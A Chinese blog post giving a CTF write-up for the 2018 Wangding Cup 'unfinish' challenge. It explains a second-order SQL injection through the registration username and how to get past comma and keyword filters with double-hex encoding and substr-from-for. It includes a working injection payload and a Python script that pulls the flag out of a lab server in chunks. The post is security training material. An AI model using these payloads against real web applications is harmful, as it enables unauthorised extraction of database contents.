欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

网鼎杯 2018 unfinish

程序员文章站 2022-05-19 10:50:23
...

前言

又是一道SQL注入的题目,只能说自己还是太菜。。会的知识太少,

WP

进入环境,用dirsearch扫一下,发现有index.php,login.php,register.php。
经过很多的尝试,最终发现这是一个二次注入的题目,注入点是在register.php传入的username中。

接下来就是如何注入了。我一开始考虑报错注入,但是发现不成功。经过尝试,发现过滤了逗号。这就意味了不能进行报错注入,而且不能通过闭合INSERT后面的(A,B,C)来实现注入。
这里我尝试进行union注入,但是过滤了逗号,用join后,后面的单引号没法闭合,还是没法成功。

考虑用时间注入,觉得可行,用case when ,then来绕过。但是感觉太麻烦了。
后来看了WP,才发现自己SQL学的还是太差,还有很多的新姿势没有掌握。

我们可以看这样的语句:
网鼎杯 2018 unfinish
如果用了hex:
网鼎杯 2018 unfinish
这样’test’字符串的十六进制就会成功显示出来

但是还有个问题:
网鼎杯 2018 unfinish
flag的十六进制里存在字母。如果让它和’0’相加的话:
网鼎杯 2018 unfinish
会存在截断的问题,所以我们应该二次hex:
网鼎杯 2018 unfinish
让最后的结果全是数字,这样就不存在截断的问题了。
但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截:
网鼎杯 2018 unfinish
因为这题过滤了逗号,所以要用from for来绕过。
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下:


email=2@1&username=0'%2Bsubstr((select hex(hex(database()))) from 1 for 10)%2B'0&password=1

因为+可能会被识别成空格,因此用%2B。
还有就是,不仅仅是+,用异或也可以实现:
网鼎杯 2018 unfinish
网鼎杯 2018 unfinish
姿势和+是一样的。
然后拿脚本跑,我写的脚本如下:

import requests

login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
    data_register={'email':'aaa@qq.com%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
    #print(data)
    data_login={'email':'aaa@qq.com%d'%i,'password':'1'}
    requests.post(register_url,data=data_register)
    rr=requests.post(login_url,data=data_login)
    rr.encoding='utf-8'
    r=rr.text
    location=r.find('user-name')
    cont=r[location+17:location+42].strip()
    content+=cont
    print(cont)
#content=content.decode('hex').decode('hex')
print(content)


因为没学过爬虫,最后的判断有点粗糙而且数据多出来一些无关的。
把最后返回的十六进制进行两次hex解密就可以得到flag了。

反思

做了这么多题的SQL注入,发现自己每次做不出来,要么是姿势不会,要么就是知识点不清楚。还是学的不深,不细致的问题。还是要好好学习!